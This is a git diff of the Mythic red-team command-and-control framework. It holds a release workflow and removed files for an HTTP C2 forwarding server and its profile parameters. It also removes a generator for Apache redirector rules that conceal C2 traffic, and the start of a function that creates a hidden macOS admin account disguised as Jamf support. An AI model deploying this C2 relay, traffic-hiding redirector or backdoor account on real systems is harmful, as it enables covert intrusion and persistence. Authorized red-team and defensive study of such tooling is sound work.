- name: Lowercase the documentation container image name
|
||||
run: echo "MYTHIC_DOCUMENTATION_IMAGE_NAME=${MYTHIC_DOCUMENTATION_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the jupyter container image name
|
||||
run: echo "MYTHIC_JUPYTER_IMAGE_NAME=${MYTHIC_JUPYTER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the graphql container image name
|
||||
run: echo "MYTHIC_GRAPHQL_IMAGE_NAME=${MYTHIC_GRAPHQL_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the nginx container image name
|
||||
run: echo "MYTHIC_NGINX_IMAGE_NAME=${MYTHIC_NGINX_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the react container image name
|
||||
run: echo "MYTHIC_REACT_IMAGE_NAME=${MYTHIC_REACT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
# The Dockerfile which Mythic uses to pull in the base container image needs to be
|
||||
# updated to reference the newly built container image
|
||||
- name: Fix the server Dockerfile reference to reference the new release tag
|
||||
working-directory: mythic-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_SERVER_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the cli Dockerfile reference to reference the new release tag
|
||||
working-directory: Mythic_CLI
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_CLI_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the cli Makefile reference to reference the new release tag
|
||||
working-directory: Mythic_CLI
|
||||
run: |
|
||||
sed -i "s|^BUILDER_IMAGE=ghcr\.io.*$|BUILDER_IMAGE=${REGISTRY}/${MYTHIC_CLI_IMAGE_NAME}:${VERSION}|" Makefile
|
||||
|
||||
- name: Fix the mythic_docker_latest reference to reference the new release tag
|
||||
working-directory: Mythic_CLI/src/cmd/config
|
||||
run: |
|
||||
sed -i "s|^const MythicDockerLatest =.*$|const MythicDockerLatest = \"${VERSION}\"|" constants.go
|
||||
|
||||
- name: Fix the postgres Dockerfile reference to reference the new release tag
|
||||
working-directory: postgres-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_POSTGRES_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the rabbitmq Dockerfile reference to reference the new release tag
|
||||
working-directory: rabbitmq-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_RABBITMQ_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the documentation Dockerfile reference to reference the new release tag
|
||||
working-directory: documentation-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_DOCUMENTATION_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
|
||||
- name: Fix the jupyter Dockerfile reference to reference the new release tag
|
||||
working-directory: jupyter-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_JUPYTER_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the graphql Dockerfile reference to reference the new release tag
|
||||
working-directory: hasura-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_GRAPHQL_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the nginx Dockerfile reference to reference the new release tag
|
||||
working-directory: nginx-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_NGINX_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
- name: Fix the react Dockerfile reference to reference the new release tag
|
||||
working-directory: mythic-react-docker
|
||||
run: |
|
||||
sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${MYTHIC_REACT_IMAGE_NAME}:${VERSION}|" Dockerfile
|
||||
# Push the changes to the Dockerfile
|
||||
- name: Push the updated base Dockerfile image reference changes
|
||||
if: ${{ github.ref_type == 'tag' }}
|
||||
uses: EndBug/add-and-commit@v9 # ref: https://github.com/marketplace/actions/add-commit
|
||||
with:
|
||||
# Only add the Dockerfile changes. Nothing else should have been modified
|
||||
add: "['Mythic_CLI/Makefile', 'Mythic_CLI/src/cmd/config/constants.go']"
|
||||
# Use the Github actions bot for the commit author
|
||||
default_author: github_actions
|
||||
committer_email: github-actions[bot]@users.noreply.github.com
|
||||
|
||||
# Set the commit message
|
||||
message: "Bump Mythic Dockerfile tag to match release '${{ env.VERSION }}'"
|
||||
|
||||
# Overwrite the current git tag with the new changes
|
||||
tag: '${{ env.VERSION }} --force'
|
||||
|
||||
# Push the new changes with the tag overwriting the current one
|
||||
tag_push: '--force'
|
||||
|
||||
# Push the commits to the branch marked as the release branch
|
||||
push: origin HEAD:${{ env.RELEASE_BRANCH }} --set-upstream
|
||||
|
||||
# Have the workflow fail in case there are pathspec issues
|
||||
pathspec_error_handling: exitImmediately
|
||||
+22
-1
@@ -4,10 +4,20 @@ __pycache__/
|
||||
docs/_build/
|
||||
# Environments
|
||||
.env
|
||||
tmp
|
||||
saved_images/
|
||||
.venv
|
||||
*.swp
|
||||
mythic_server
|
||||
docker-compose.yml
|
||||
.ipynb_checkpoints/
|
||||
env/
|
||||
venv/
|
||||
ENV/
|
||||
mythic-cli
|
||||
.DS_Store
|
||||
[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*-[0-9a-zA-Z]*
|
||||
*.svg
|
||||
env.bak/
|
||||
venv.bak/
|
||||
# pycharm
|
||||
@@ -15,16 +25,20 @@ venv.bak/
|
||||
# ssl certs
|
||||
ssl/
|
||||
# Mythic files
|
||||
files/
|
||||
nginx-docker/config/blockips.conf
|
||||
mythic-docker/src/Mythic
|
||||
mythic_access.*
|
||||
mythic_sync/
|
||||
postgres-docker/database/
|
||||
rabbitmq-docker/storage/
|
||||
C2_profiles/
|
||||
Payload_Types/
|
||||
InstalledServices/
|
||||
Docker_Templates/
|
||||
documentation-docker/content/
|
||||
documentation-docker/public/
|
||||
display_output.txt
|
||||
full_attack.json
|
||||
nginx-docker/config/conf.d/services.conf
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
@@ -149,3 +163,10 @@ _ReSharper*/
|
||||
|
||||
# vscode
|
||||
.vscode/
|
||||
|
||||
jupyter-docker/jupyter/MythicExamples/.ipynb_checkpoints/
|
||||
|
||||
nginx-docker/config/blockips.conf
|
||||
/MythicReactUI/build/
|
||||
/MythicReactUI/node_modules/
|
||||
/.gocache/
|
||||
+2274
File diff suppressed because it is too large.
Load diff
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_sanic_c2profile:0.0.6
|
||||
@@ -1,18 +0,0 @@
|
||||
{
|
||||
"instances": [
|
||||
{
|
||||
"ServerHeaders": {
|
||||
"Server": "NetDNA-cache/2.2",
|
||||
"Cache-Control": "max-age=0, no-cache",
|
||||
"Pragma": "no-cache",
|
||||
"Connection": "keep-alive",
|
||||
"Content-Type": "application/javascript; charset=utf-8"
|
||||
},
|
||||
"port": 80,
|
||||
"key_path": "",
|
||||
"cert_path": "",
|
||||
"use_ssl": false,
|
||||
"debug": false
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Page Not Found!</title>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,157 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
"""This is an example implementation of a C2 server that processes HTTP
|
||||
communications with an Agent, performs routing with the Mythic server,
|
||||
and adds the required Mythic header to the HTTP response to identify
|
||||
the C2 profile forwarding the request.
|
||||
"""
|
||||
from sanic import Sanic
|
||||
from sanic.response import html, redirect, text, raw
|
||||
from sanic.exceptions import NotFound
|
||||
import sys
|
||||
import asyncio
|
||||
import ssl
|
||||
from pathlib import Path
|
||||
import requests
|
||||
import json
|
||||
import os
|
||||
|
||||
config = {}
|
||||
|
||||
async def print_flush(message):
|
||||
"""Print message and flush the stdout buffer.
|
||||
|
||||
Python's stdout is buffered, so it collects data written
|
||||
into a buffer before it is written to the terminal. This
|
||||
forces the buffer to be written to the terminal instead of
|
||||
waiting for output to eventually occur.
|
||||
|
||||
Args:
|
||||
message: self-explanatory
|
||||
"""
|
||||
print(message)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def server_error_handler(request, exception):
|
||||
"""Error handler for Sanic app. Formats server error to be presented.
|
||||
|
||||
Args:
|
||||
request: object containing the HTTP request information
|
||||
exception: object containing exception information
|
||||
|
||||
"""
|
||||
if request is None:
|
||||
print("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
|
||||
sys.stdout.flush()
|
||||
return html("Error: Failed to process request", status=500, headers={})
|
||||
return html("Error: Requested URL {} not found".format(request.url), status=404, headers=config[request.app.name]['headers'])
|
||||
|
||||
|
||||
async def agent_message(request, **kwargs):
|
||||
"""This is the route handler that processes a request from the Agent.
|
||||
|
||||
Args:
|
||||
request: object containing the HTTP request information
|
||||
**kwargs: any additional arguments
|
||||
Returns:
|
||||
HTTP response object
|
||||
"""
|
||||
global config
|
||||
try:
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("agent_message request from: {} with {} and {}".format(request.url, request.cookies, request.headers))
|
||||
await print_flush(" and URI: {}".format(request.query_string))
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("Forwarding along to: {}".format(config['mythic_address']))
|
||||
if request.method == "POST":
|
||||
# manipulate the request if needed - change the "Mythic" header to match the name of your C2 profile
|
||||
|
||||
#await MythicCallbackRPC().add_event_message(message="got a POST message")
|
||||
response = requests.post(config['mythic_address'], data=request.body, verify=False, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
|
||||
else:
|
||||
# manipulate the request if needed - change the "Mythic" header to match the name of your C2 profile
|
||||
|
||||
#await MythicCallbackRPC().add_event_message(message="got a GET message")
|
||||
#msg = await MythicCallbackRPC().encrypt_bytes(with_uuid=True, data="my message".encode(), uuid="eaf10700-cb30-402d-b101-8e35d67cdb41")
|
||||
#await MythicCallbackRPC().add_event_message(message=msg.response)
|
||||
response = requests.get(config['mythic_address'] + "?{}".format(request.query_string), verify=False, data=request.body, cookies=request.cookies, headers={"Mythic": "http", **request.headers})
|
||||
return raw(response.content, headers=config[request.app.name]['headers'], status=response.status_code)
|
||||
except Exception as e:
|
||||
if request is None:
|
||||
await print_flush("Invalid HTTP Method - Likely HTTPS trying to talk to HTTP")
|
||||
return server_error_handler(request, e)
|
||||
if config[request.app.name]['debug']:
|
||||
await print_flush("error in agent_message: {}".format(str(e)))
|
||||
return server_error_handler(request, e)
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.path.append("/Mythic/mythic")
|
||||
from mythic_c2_container.C2ProfileBase import *
|
||||
from mythic_c2_container.MythicCallbackRPC import *
|
||||
config_file = open("config.json", 'rb')
|
||||
main_config = json.loads(config_file.read().decode('utf-8'))
|
||||
print("Opening config and starting instances...")
|
||||
sys.stdout.flush()
|
||||
# basic mapping of the general endpoints to the real endpoints
|
||||
try:
|
||||
config['mythic_address'] = os.environ['MYTHIC_ADDRESS']
|
||||
except Exception as e:
|
||||
print("failed to find MYTHIC_ADDRESS environment variable")
|
||||
sys.stdout.flush()
|
||||
sys.exit(1)
|
||||
# now look at the specific instances to start
|
||||
for inst in main_config['instances']:
|
||||
config[str(inst['port'])] = {'debug': inst['debug'],
|
||||
'headers': inst['ServerHeaders']}
|
||||
if inst['debug']:
|
||||
print("Debugging statements are enabled. This gives more context, but might be a performance hit")
|
||||
else:
|
||||
print("Debugging statements are disabled")
|
||||
sys.stdout.flush()
|
||||
# now to create an app instance to handle responses
|
||||
app = Sanic(str(inst['port']))
|
||||
app.config['REQUEST_MAX_SIZE'] = 1000000000
|
||||
app.config['REQUEST_TIMEOUT'] = 600
|
||||
app.config['RESPONSE_TIMEOUT'] = 600
|
||||
app.add_route(agent_message, "/<uri:path>", methods=['GET','POST'])
|
||||
app.add_route(agent_message, "/", methods=['GET','POST'])
|
||||
app.error_handler.add(Exception, server_error_handler)
|
||||
keyfile = Path(inst['key_path'])
|
||||
certfile = Path(inst['cert_path'])
|
||||
if keyfile.is_file() and certfile.is_file():
|
||||
context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
|
||||
context.load_cert_chain(inst['cert_path'], keyfile=inst['key_path'])
|
||||
if inst['debug']:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], ssl=context, debug=False, return_asyncio_server=True, access_log=True)
|
||||
else:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], ssl=context, debug=False, return_asyncio_server=True, access_log=False)
|
||||
if inst['debug']:
|
||||
print("using SSL for port {}".format(inst['port']))
|
||||
sys.stdout.flush()
|
||||
else:
|
||||
if inst['debug']:
|
||||
print("not using SSL for port {}".format(inst['port']))
|
||||
sys.stdout.flush()
|
||||
if inst['debug']:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], debug=False, return_asyncio_server=True, access_log=True)
|
||||
else:
|
||||
server = app.create_server(host="0.0.0.0", port=inst['port'], debug=False, return_asyncio_server=True, access_log=False)
|
||||
task = asyncio.ensure_future(server)
|
||||
|
||||
try:
|
||||
loop = asyncio.get_event_loop()
|
||||
def callback(fut):
|
||||
try:
|
||||
fetch_count = fut.result()
|
||||
except:
|
||||
print("port already in use")
|
||||
sys.stdout.flush()
|
||||
sys.exit()
|
||||
task.add_done_callback(callback)
|
||||
loop.run_forever()
|
||||
except:
|
||||
sys.exit()
|
||||
loop.stop()
|
||||
@@ -1,206 +0,0 @@
|
||||
"""This file provides basic examples of the C2 RPC functions.
|
||||
|
||||
The following functions are implemented to provide an example of implementation:
|
||||
- test
|
||||
- opsec: checks C2 profile parameters to verify they meet user-specified OPSEC-safe implementations
|
||||
- config_check: check and validate supplied parameters when an payload request is generated
|
||||
- redirect_rules: generate redirect rules for a specific payload when called on-demand by operator
|
||||
|
||||
Documentation follows Google Python Style Guide for comments:
|
||||
https://github.com/google/styleguide/blob/gh-pages/pyguide.md#38-comments-and-docstrings
|
||||
"""
|
||||
from mythic_c2_container.MythicRPC import *
|
||||
import json
|
||||
import netifaces
|
||||
|
||||
async def test(request):
|
||||
"""Performs a test.
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
{"action": func_name, "message": "the input", "task_id": task id num}
|
||||
|
||||
Returns:
|
||||
A RPCResponse object containing status and response message
|
||||
"""
|
||||
response = RPCResponse()
|
||||
response.status = RPCStatus.Success
|
||||
response.response = "hello"
|
||||
resp = await MythicRPC().execute("create_event_message", message="Test message", warning=False)
|
||||
return response
|
||||
|
||||
async def opsec(request):
|
||||
"""Checks C2 profile parameters to verify they meet user-specified OPSEC-safe implementations.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
|
||||
{ "action": "opsec", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
"""
|
||||
# perform OPSEC checks against the parameters. In this example, the callback port
|
||||
# is checked against common HTTPS ports when the callback host contains "https"
|
||||
params = request["parameters"]
|
||||
if "https" in params["callback_host"] and params["callback_port"] not in ["443", "8443", "7443"]:
|
||||
return {"status": "error", "error": f"Mismatch - HTTPS specified, but port {params['callback_port']}, is not one of the standard port (443, 8443)\n"}
|
||||
|
||||
# if no OPSEC checks, just return the following message
|
||||
# return {"status": "success", "message": "No OPSEC checks performed\n"}
|
||||
# otherwise, indicate that OPSEC checks were successful
|
||||
return {"status": "success", "message": "Basic OPSEC checks passed\n"}
|
||||
|
||||
|
||||
|
||||
async def config_check(request):
|
||||
"""Check and validate supplied parameters when an payload request is generated.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and parameters passed for the payload build.
|
||||
|
||||
{ "action": "config_check", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
"""
|
||||
# Open the C2 profile's config.json and, build a list of ports, and confirm port use.
|
||||
# This example code uses the default config.json.
|
||||
try:
|
||||
|
||||
with open("../c2_code/config.json") as f:
|
||||
config = json.load(f)
|
||||
possible_ports = []
|
||||
for inst in config["instances"]:
|
||||
possible_ports.append({"port": inst["port"], "use_ssl": inst["use_ssl"]})
|
||||
if str(inst["port"]) == str(request["parameters"]["callback_port"]):
|
||||
if "https" in request["parameters"]["callback_host"] and not inst["use_ssl"]:
|
||||
message = f"C2 Profile container is configured to NOT use SSL on port {inst['port']}, but the callback host for the agent is using https, {request['parameters']['callback_host']}.\n\n"
|
||||
message += "This means there should be the following connectivity for success:\n"
|
||||
message += f"Agent via SSL to {request['parameters']['callback_host']} on port {inst['port']}, then redirection to C2 Profile container WITHOUT SSL on port {inst['port']}"
|
||||
return {"status": "error", "error": message}
|
||||
elif "https" not in request["parameters"]["callback_host"] and inst["use_ssl"]:
|
||||
message = f"C2 Profile container is configured to use SSL on port {inst['port']}, but the callback host for the agent is using http, {request['parameters']['callback_host']}.\n\n"
|
||||
message += "This means there should be the following connectivity for success:\n"
|
||||
message += f"Agent via NO SSL to {request['parameters']['callback_host']} on port {inst['port']}, then redirection to C2 Profile container WITH SSL on port {inst['port']}"
|
||||
return {"status": "error", "error": message}
|
||||
else:
|
||||
message = f"C2 Profile container and agent configuration match port, {inst['port']}, and SSL expectations.\n"
|
||||
return {"status": "success", "message": message}
|
||||
message = f"Failed to find port, {request['parameters']['callback_port']}, in C2 Profile configuration\n"
|
||||
message += f"This could indicate the use of a redirector, or a mismatch in expected connectivity.\n\n"
|
||||
message += f"This means there should be the following connectivity for success:\n"
|
||||
if "https" in request["parameters"]["callback_host"]:
|
||||
message += f"Agent via HTTPS on port {request['parameters']['callback_port']} to {request['parameters']['callback_host']} (should be a redirector).\n"
|
||||
else:
|
||||
message += f"Agent via HTTP on port {request['parameters']['callback_port']} to {request['parameters']['callback_host']} (should be a redirector).\n"
|
||||
if len(possible_ports) == 1:
|
||||
message += f"Redirector then forwards request to C2 Profile container on port, {possible_ports[0]['port']}, {'WITH SSL' if possible_ports[0]['use_ssl'] else 'WITHOUT SSL'}"
|
||||
else:
|
||||
message += f"Redirector then forwards request to C2 Profile container on one of the following ports: {json.dumps(possible_ports)}\n"
|
||||
if "https" in request["parameters"]["callback_host"]:
|
||||
message += f"\nAlternatively, this might mean that you want to do SSL but are not using SSL within your C2 Profile container.\n"
|
||||
message += f"To add SSL to your C2 profile:\n"
|
||||
message += f"\t1. Go to the C2 Profile page\n"
|
||||
message += f"\t2. Click configure for the http profile\n"
|
||||
message += f"\t3. Change 'use_ssl' to 'true' and make sure the port is {request['parameters']['callback_port']}\n"
|
||||
message += f"\t4. Click to stop the profile and then start it again\n"
|
||||
return {"status": "success", "message": message}
|
||||
except Exception as e:
|
||||
return {"status": "error", "error": str(e)}
|
||||
|
||||
|
||||
|
||||
async def redirect_rules(request):
|
||||
"""Generate redirect rules for a specific payload when called on-demand by operator.
|
||||
|
||||
Operationally, users invoke this function from the Payloads page in the Mythic UI with a
|
||||
dropdown menu for the payload they're interested in. These rules can include functionality
|
||||
such as Apache mod_rewrite rules, Nginx configurations, etc. This function simply generates
|
||||
output that the operator must then copy and implement on a redirector.
|
||||
|
||||
Args:
|
||||
request: dict containing the function name, and the same profile parameters that were
|
||||
passed to the opsec and config_check functions.
|
||||
|
||||
{ "action": "redirect_rules", "parameters": {"param_name": "param_value", "param_name2": "param_value2", ....} }
|
||||
|
||||
Returns:
|
||||
A dict containing either a success or error status/message. For example:
|
||||
|
||||
success: {"status": "success", "message": "<your success message here>" }
|
||||
error: {"status": "error", "error": "<your error message here>" }
|
||||
|
||||
"""
|
||||
# This example generates Apache mod_rewrite rules for Mythic C2 profiles
|
||||
# to redirect non-C2 traffic to another site.
|
||||
output = "mod_rewrite rules generated from @AndrewChiles' project https://github.com/threatexpress/mythic2modrewrite:\n"
|
||||
# Get User-Agent
|
||||
errors = ""
|
||||
ua = ''
|
||||
uris = []
|
||||
if "headers" in request['parameters']:
|
||||
for header in request['parameters']["headers"]:
|
||||
if header["key"] == "User-Agent":
|
||||
ua = header["value"]
|
||||
else:
|
||||
errors += "[!] User-Agent Not Found\n"
|
||||
# Get all profile URIs
|
||||
if "get_uri" in request['parameters']:
|
||||
uris.append("/" + request['parameters']["get_uri"])
|
||||
else:
|
||||
errors += "[!] No GET URI found\n"
|
||||
if "post_uri" in request['parameters']:
|
||||
uris.append("/" + request['parameters']["post_uri"])
|
||||
else:
|
||||
errors += "[!] No POST URI found\n"
|
||||
# Create UA in modrewrite syntax. No regex needed in UA string matching, but () characters must be escaped
|
||||
ua_string = ua.replace('(', '\(').replace(')', '\)')
|
||||
# Create URI string in modrewrite syntax. "*" are needed in regex to support GET and uri-append parameters on the URI
|
||||
uris_string = ".*|".join(uris) + ".*"
|
||||
try:
|
||||
interface = netifaces.gateways()['default'][netifaces.AF_INET][1]
|
||||
address = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
|
||||
c2_rewrite_template = """RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]"""
|
||||
c2_rewrite_output = []
|
||||
with open("../c2_code/config.json") as f:
|
||||
config = json.load(f)
|
||||
for inst in config["instances"]:
|
||||
c2_rewrite_output.append(c2_rewrite_template.format(
|
||||
c2server=f"https://{address}:{inst['port']}" if inst["use_ssl"] else f"http://{address}:{inst['port']}"
|
||||
))
|
||||
except Exception as e:
|
||||
errors += "[!] Failed to get C2 Profile container IP address. Replace 'c2server' in HTACCESS rules with correct IP\n"
|
||||
c2_rewrite_output = ["""RewriteRule ^.*$ "{c2server}%{{REQUEST_URI}}" [P,L]"""]
|
||||
htaccess_template = '''
|
||||
########################################
|
||||
## .htaccess START
|
||||
RewriteEngine On
|
||||
## C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs)
|
||||
## Logic: If a requested URI AND the User-Agent matches, proxy the connection to the Teamserver
|
||||
## Consider adding other HTTP checks to fine tune the check. (HTTP Cookie, HTTP Referer, HTTP Query String, etc)
|
||||
## Refer to http://httpd.apache.org/docs/current/mod/mod_rewrite.html
|
||||
## Only allow GET and POST methods to pass to the C2 server
|
||||
RewriteCond %{{REQUEST_METHOD}} ^(GET|POST) [NC]
|
||||
## Profile URIs
|
||||
RewriteCond %{{REQUEST_URI}} ^({uris})$
|
||||
## Profile UserAgent
|
||||
RewriteCond %{{HTTP_USER_AGENT}} "{ua}"
|
||||
{c2servers}
|
||||
## Redirect all other traffic here
|
||||
RewriteRule ^.*$ {redirect}/? [L,R=302]
|
||||
## .htaccess END
|
||||
########################################
|
||||
'''
|
||||
htaccess = htaccess_template.format(uris=uris_string, ua=ua_string, c2servers="\n".join(c2_rewrite_output), redirect="redirect")
|
||||
output += "\tReplace 'redirect' with the http(s) address of where non-matching traffic should go, ex: https://redirect.com\n"
|
||||
output += f"\n{htaccess}"
|
||||
if errors != "":
|
||||
return {"status": "error", "error": errors}
|
||||
else:
|
||||
return {"status": "success", "message": output}
|
||||
@@ -1,138 +0,0 @@
|
||||
"""This file configures the C2 parameters to be used by a payload for communications.
|
||||
|
||||
Mythic will utilize the defined class inheriting C2Profile to identify the C2 profile
|
||||
and parameters that are presented to the operator in the payload creation UI. These
|
||||
parameters are added to the payload's PayloadType (builder.py) so they can be used
|
||||
during the build process.
|
||||
"""
|
||||
from mythic_c2_container.C2ProfileBase import *
|
||||
|
||||
class HTTP(C2Profile):
|
||||
name = "http"
|
||||
description = "Uses HTTP(S) connections with a simple query parameter or basic POST messages. For more configuration options use dynamicHTTP."
|
||||
author = "@its_a_feature_"
|
||||
is_p2p = False
|
||||
is_server_routed = False
|
||||
parameters = [
|
||||
C2ProfileParameter(
|
||||
name="callback_port",
|
||||
description="Callback Port",
|
||||
default_value="80",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="killdate",
|
||||
description="Kill Date",
|
||||
parameter_type=ParameterType.Date,
|
||||
default_value=365,
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="encrypted_exchange_check",
|
||||
description="Perform Key Exchange",
|
||||
choices=["T", "F"],
|
||||
required=False,
|
||||
parameter_type=ParameterType.ChooseOne,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_jitter",
|
||||
description="Callback Jitter in percent",
|
||||
default_value="23",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="headers",
|
||||
description="HTTP Headers",
|
||||
required=False,
|
||||
parameter_type=ParameterType.Dictionary,
|
||||
default_value=[
|
||||
{
|
||||
"name": "User-Agent",
|
||||
"max": 1,
|
||||
"default_value": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
|
||||
"default_show": True,
|
||||
},
|
||||
{
|
||||
"name": "Host",
|
||||
"max": 1,
|
||||
"default_value": "",
|
||||
"default_show": False,
|
||||
},
|
||||
{
|
||||
"name": "*",
|
||||
"max": -1,
|
||||
"default_value": "",
|
||||
"default_show": False
|
||||
}
|
||||
]
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="AESPSK",
|
||||
description="Crypto type",
|
||||
default_value="aes256_hmac",
|
||||
parameter_type=ParameterType.ChooseOne,
|
||||
choices=["aes256_hmac", "none"],
|
||||
required=False,
|
||||
crypto_type=True
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_host",
|
||||
description="Callback Host",
|
||||
default_value="https://domain.com",
|
||||
verifier_regex="^(http|https):\/\/[a-zA-Z0-9]+",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="get_uri",
|
||||
description="GET request URI (don't include leading /)",
|
||||
default_value="index",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="post_uri",
|
||||
description="POST request URI (don't include leading /)",
|
||||
default_value="data",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="query_path_name",
|
||||
description="Name of the query parameter for GET requests",
|
||||
default_value="q",
|
||||
required=False,
|
||||
verifier_regex="^[^\/]",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_host",
|
||||
description="Proxy Host",
|
||||
default_value="",
|
||||
required=False,
|
||||
verifier_regex="^$|^(http|https):\/\/[a-zA-Z0-9]+",
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_port",
|
||||
description="Proxy Port",
|
||||
default_value="",
|
||||
verifier_regex="^$|^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_user",
|
||||
description="Proxy Username",
|
||||
default_value="",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="proxy_pass",
|
||||
description="Proxy Password",
|
||||
default_value="",
|
||||
required=False,
|
||||
),
|
||||
C2ProfileParameter(
|
||||
name="callback_interval",
|
||||
description="Callback Interval in seconds",
|
||||
default_value="10",
|
||||
verifier_regex="^[0-9]+$",
|
||||
required=False,
|
||||
),
|
||||
]
|
||||
Whitespace-only changes.
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /Mythic/mythic
|
||||
|
||||
export PYTHONPATH=/Mythic:/Mythic/mythic
|
||||
|
||||
python3.8 mythic_service.py
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
from mythic_c2_container import mythic_service
|
||||
mythic_service.start_service_and_heartbeat(debug=False)
|
||||
@@ -1,8 +0,0 @@
|
||||
{
|
||||
"username": "mythic_user",
|
||||
"password": "mythic_password",
|
||||
"virtual_host": "mythic_vhost",
|
||||
"host": "127.0.0.1",
|
||||
"name": "hostname",
|
||||
"container_files_path": "/Mythic/"
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
FROM itsafeaturemythic/python38_payload:0.1.1
|
||||
@@ -1,74 +0,0 @@
|
||||
exports.add_user = function(task, command, params){
|
||||
try{
|
||||
// Add a user with dscl to the local machine
|
||||
let config = JSON.parse(params);
|
||||
let admin = true;
|
||||
let hidden = true;
|
||||
let username = ".jamf_support";
|
||||
let password = "P@55w0rd_Here";
|
||||
let realname = "Jamf Support User";
|
||||
let homedir = "/Users/";
|
||||
let uniqueid = 403;
|
||||
let primarygroupid = 80; //this is the admin group
|
||||
let usershell = "/bin/bash";
|
||||
let createprofile = false;
|
||||
let user = ""; //username of the user with sudo capability to do these commands
|
||||
let passwd = ""; //password of the user with sudo capability to do these commands
|
||||
if(config.hasOwnProperty("admin") && typeof config['admin'] == 'boolean'){ admin = config['admin']; }
|
||||
if(config.hasOwnProperty("hidden") && typeof config['hidden'] == 'boolean'){ hidden = config['hidden']; }
|
||||
if(config.hasOwnProperty("username") && config['username'] != ''){ username = config['username']; }
|
||||
if(config.hasOwnProperty("password") && config['password'] != ''){ password = config['password']; }
|
